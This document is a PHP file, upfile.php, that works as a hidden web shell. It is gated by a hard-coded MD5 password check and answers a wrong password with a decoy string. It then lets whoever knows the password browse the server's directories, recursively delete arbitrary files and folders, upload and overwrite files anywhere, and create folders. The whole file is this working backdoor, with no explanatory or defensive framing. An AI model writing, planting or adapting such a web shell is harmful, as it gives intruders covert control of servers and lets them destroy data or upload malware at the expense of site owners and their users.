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upfile.php
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<?php
error_reporting(E_ALL & ~E_NOTICE);
date_default_timezone_set('Asia/Shanghai');
header("Content-type: text/html; charset=utf-8");
//获取当前页URL
function GetCurUrl()
{
if(!empty($_SERVER["REQUEST_URI"]))
{
$scriptName = $_SERVER["REQUEST_URI"];
$nowurl = $scriptName;
}else {
$scriptName = $_SERVER["PHP_SELF"];
if(empty($_SERVER["QUERY_STRING"])) {
$nowurl = $scriptName;
}
else {
$nowurl = $scriptName."?".$_SERVER["QUERY_STRING"];
}
}
return $nowurl;
}
function is_utf8($string) {
return preg_match('%^(?:
[\x09\x0A\x0D\x20-\x7E] # ASCII
| [\xC2-\xDF][\x80-\xBF] # non-overlong 2-byte
| \xE0[\xA0-\xBF][\x80-\xBF] # excluding overlongs
| [\xE1-\xEC\xEE\xEF][\x80-\xBF]{2} # straight 3-byte
| \xED[\x80-\x9F][\x80-\xBF] # excluding surrogates
| \xF0[\x90-\xBF][\x80-\xBF]{2} # planes 1-3
| [\xF1-\xF3][\x80-\xBF]{3} # planes 4-15
| \xF4[\x80-\x8F][\x80-\xBF]{2} # plane 16
)*$%xs', $string);
}
function rrmdir($dir) {
foreach(glob($dir . '/*') as $file) {
if(is_dir($file))
rrmdir($file);
else
unlink($file);
}
rmdir($dir);
}
if(md5($_GET['dps'])!='249d4bfbb78ef4b9456695183ffae635'){
exit('9f2b035a4826b54d5cce80ec9228f389');
}
$del = trim(stripslashes($_GET['del']));
if($del){
if(is_dir($del)){
@rrmdir($del);
}elseif(is_file($del)){
@unlink($del);
}
}
$dir = $_GET['dir'] ? trim(stripslashes($_GET['dir'])) : $_SERVER['DOCUMENT_ROOT'];
if(!is_dir($dir)) $dir = dirname($dir);
is_dir($dir) or die('dir error');
parse_str($_SERVER['QUERY_STRING'],$parse);
?>
<html>
<head>
</head>
<body>
<?php
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if ($file != ".") {
$file = iconv('GBK','UTF-8',$file);
if($file=='..'){
$file_root = dirname($dir);
}else{
$file_root .= $dir.'/'.$file;
}
$parse['dir'] = $file_root;
$url = $_SERVER["PHP_SELF"].'?'.http_build_query($parse);
if(is_dir($file_root)){
?>
<a href="<?php echo $url ?>"><?php echo '['.$file.']' ?></a>
<?php if($file!='..') echo '<a href="'.$url.'&del='.$file_root.'">DEL</a>'?>
<br/>
<?php
}else
echo $file.' <a href="'.$url.'&del='.$file_root.'">DEL</a><br/>';
unset($file_root);
}
}
closedir($handle);
}
if(!empty($_FILES['file']['name'])){
$upfile = $dir.'/'.$_FILES['file']['name'];
if(is_file($upfile)){
unlink($upfile) or die('del error');
}
move_uploaded_file($_FILES['file']['tmp_name'],$upfile) or die('upload error');
echo "<script type='text/javascript'>alert('成功')</script>";
}
if($_POST['folder']){
mkdir($dir.'/'.$_POST['folder'],0700) or die('Failed to create folders...');
echo "<script type='text/javascript'>alert('创建成功')</script>";
}
?>
<table>
<form enctype='multipart/form-data' action="<?php unset($parse['del']);echo $_SERVER['PHP_SELF'].'?'.http_build_query($parse); ?>" method="POST" name="form">
<tr>
<td>
选择文件：<input type="file" name="file"/>
</td>
</tr>
<tr>
<td>
创建文件夹：<input type="text" name="folder"/>
</td>
</tr>
<tr>
<td>
<input type="submit" value="提交" />
</td>
</tr>
</form>
</table>
<script type="text/javascript">
</script>
</body>
</html>